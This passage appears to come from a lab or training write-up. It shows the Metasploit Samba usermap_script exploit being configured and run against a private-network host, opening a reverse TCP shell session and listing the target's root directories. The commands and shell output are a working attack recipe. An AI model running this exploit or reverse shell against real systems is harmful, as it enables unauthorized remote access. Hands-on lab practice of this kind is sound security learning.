[*] Command shell session 1 opened (10.0.2.15:4444 -> 10.0.1.3:34220) at 2023-08-14 05:45:43 -0400
```

After filling in the required info for the module I spawned a command shell and gained access to various directories/files.

```
[-] Msf::OptionValidateError The following options failed to validate: RHOSTS
msf6 exploit(multi/samba/usermap_script) > set RHOSTS 10.0.1.3
RHOSTS => 10.0.1.3
msf6 exploit(multi/samba/usermap_script) > exploit

[*] Started reverse TCP handler on 10.0.2.15:4444
[*] Command shell session 1 opened (10.0.2.15:4444 -> 10.0.1.3:58120) at 2023-08-19 09:29:08 -0400

ls
bin
boot
cdrom
core
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
tmp
usr
var
vmlinuz
```